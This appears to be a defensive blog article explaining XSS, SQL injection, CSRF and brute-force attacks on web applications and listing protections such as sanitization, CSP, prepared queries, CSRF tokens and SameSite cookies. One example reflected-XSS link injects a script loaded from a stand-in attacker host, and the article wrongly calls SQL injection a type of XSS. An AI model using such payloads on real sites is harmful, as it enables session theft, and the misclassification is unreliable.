For the last couple of years, protecting the privacy of users has become a stumbling block for many companies as dozens large companies around the world suffer from data leaks every year. In this article, we have compiled recommendations on how to protect users’ personal data from leaks in a basic way.
Let’s figure out how you can affect user data from outside, and how to prevent it.
CROSSITE SCRIPTING, XSS
XSS is the deployment of malicious code into the pages of an attacked server. The client’s browser will experience the execution of accidental JavaScript-code that will allow an attacker to steal the user’s session.
In order to effectively protect yourself from XSS attacks, you should understand their types. XSS vulnerabilities are divided into reflected and stored. It depends on how the site returns the injected code to the browser.
- A reflected XSS vulnerability occurs when user content submitted to the server is returned immediately and unmodified to be displayed in the browser. Any script in the original user content will run when the new page is loaded. An attacker can create a search link that contains a malicious script as a parameter (for example: http://mysite.com?q=beer<script%20src=”http://evilsite.com/tricky.js”></script >) and forward it to another user by email.
- A stored XSS vulnerability occurs when a malicious script is stored on a site and then re-rendered unchanged.
Interactive attack examples:
HOW TO PROTECT FROM XSS-ATTACKS?
Sanitization tools. Sanitization is the “cleaning” of code from suspicious or malicious sections of code.
You can write the cleanup function yourself, but for production this option is not enough. We recommend using a special sanitizer library. For example, DOM Purify. Such libraries can cut off code that is considered unsafe.
Escaping is the replacement of special characters that the browser may consider to be tags to the safe ones.
During escaping, the line <script>alert(‘XSS!’);</script> will look like <script>alert(‘XSS!’);</script>. The browser does not recognize such an entry as a tag or script.
To implement user content escaping in JavaScript, you need to use:
encodeURI – to encode a URI-address
encodeURIComponent – to encode part of a URI-address, e.g. searchQuery,
special libraries to replace <, >, ‘,” and other special symbols.
Content Security Policy (CSP) is one of the most powerful security measures. This is a “white” list of what can be used in the work. Each of the CSP directives is responsible for the source type:
script-src – list of sources where scripts can be loaded from;
style-src – styles;
img-src is a resource for loading images.
Content Security Policy is a good security tool that gives you a lot of room to work due to the abundance of possible settings.
SQL-INJECTIONS
SQL injection is one of XSS types. The essence of this attack is the access to the data of the attacked service or change of it.
When a user submits data on the website, it goes to the web application, which in turn uses that data to access the entire database. SQL (Structured Query Language) is used to access data in relational databases. This language is standardized, and its main commands are the same for different database management system vendors – Microsoft, Oracle, MySQL, PostgreSQL and others.
Interactive example of the attack.
HOW TO PROTECT FROM SQL-INJECTIONS?
Use parametrization. The data sent by the user should not participate in the formation of the text of the SQL query, or at least, not directly. This is achieved using prepared queries.
In this case, whatever text the user enters, the application will only search for text in the specified categories.
Use stored procedures. Some queries cannot use parameterization. In this case, it is necessary to limit the list of valid values – create a “white list” for values coming from the user.
Allow fewer privileges. The system account should have as few privileges as possible. Do not give the right to read and create files that are not related to the application, and perform other security-critical actions.
CROSS-SITE REQUEST FORGERY, OR CSRF
Web applications using cookies, browser authentication, or client authorization certificates can be exposed to CSRF. The server cannot understand whether the request is from a user or from a hacker. The attack exploits the shortcomings of the HTTP protocol.
To run CSRF, certain conditions are required, for instance:
- the vulnerable site has an action that an attacker can perform on behalf of the victim (for example, a money transfer);
- the attacker knows in advance all the request parameters;
- the action only relies on cookies to verify the user and is performed using HTTP requests.
HOW TO PROTECT FROM CSRF-ATTACKS?
Choose secure frameworks. These are the frameworks that have built-in protection against CSRF. In addition, pay attention to the correct setting of the framework. If your framework does not have security, then you can use CSRF tokens.
CSRF tokens. The server generates a unique verification token, which is passed to the client side as a hidden field or URL-parameter. The client side then returns this token as part of the form or URL, and the server checks if the token is valid. The token is usually generated for each user and for one session.
Unlike cookies, which are sent by the browser along with the corresponding request regardless of the origin of the request, tokens are protected by the same-origin policy. They are a direct part of the page.
Conditions that a token must satisfy:
- be unique within each operation;
- be used once;
- have a size that is resistant to selection;
- be generated by a cryptographically secure pseudo-random number generator;
- have a limited lifetime.
Double submit cookie. In this case, a unique token is also generated for each session, but it is placed in cookies. The user must pass the same values both in cookies and in the request. If they match, then the request is sent by a real user, and if not, it’s a hacker. The attacker cannot change the cookies in the user’s browser, so a classic CSRF attack will not work.
SOP, or same-origin policy. This policy determines how a script or document will interact with a resource loaded from another source. Two pages have the same origin if the host, port, and protocol (http/https) are the same. An entry like scheme/host/port tuple allows you to isolate documents that can be harmful.
Same Site Cookies. This method marks cookies for a single domain name with the samesite attribute, which can have two values: lax or strict. The bottom line is that the browser does not send cookies if the request comes from another domain.
Also, using Same-Site Cookies, you can set cookies so that they are visible only to the service that has set them:
set-cookie: key=value; SameSite=Strict
Also, if client scripts should not work with cookies, they can be hidden:
set-cookie: key=value; HttpOnly
This will make the cookie only visible to the server and browser.
Confirmation of actions from the user. To change any data, transfer money, etc. adding an additional confirming action is good practice. For example, you can ask the user to enter a captcha or click a button on the website.
BRUTEFORCE ATTACK
A bruteforce attack is an attack in which an attacker obtains login information by brute force. The simplest example is trying to guess a password.
Such an attack is needed in order to gain access to the system, check the reliability or detect a vulnerability.
HOW TO PROTECT FROM BRUTEFORCE-ATTACKS?
Limiting the number of hits. It may take a hacker a huge number of attempts to guess the password, but it takes 10-15 for the account owner to remember it. In addition, limiting of hits will help regulate incoming and outgoing traffic.
reCAPTCHA. This is one of the classic solutions that only works for login/registration forms and prevents the attacker from sending random requests.
Strong passwords. Reject weak passwords as a matter of principle, require strong and complex passwords, and require periodic password changes.
Multi-factor authentication – provides an additional layer of security that requires a higher degree of security compromise to pass successfully.
High level of encryption. The higher the degree of encryption, the more difficult it is to crack the password.
Randomized password hashes. Additional random lines of characters are inserted into the password to make the hash random.
CONCLUSION
In the article, we’ve figured out how you can influence data from the outside and understood the basic methods of protecting user data. Remember that a web application cannot trust any data from a web browser. All user data must be cleared before being displayed or used in SQL queries and file system calls.
If you are interested in this topic, and you want to delve into the topic of security, then we recommend that you pay attention to the links in the additional materials section.
It is important not only to prevent vulnerabilities in your code or protect information, but also to understand how protection mechanisms work at other levels: data transfer, backend, frontend, and base.
ADDITIONAL MATERIALS
XSS Game — a game by Google to sharpen your hacking skills.
Website for training the main types of web-application attacks.
Online simulators in HTML, CSS, JS and React for beginners
#javascript #sql #xss #bruteforce #IT #development
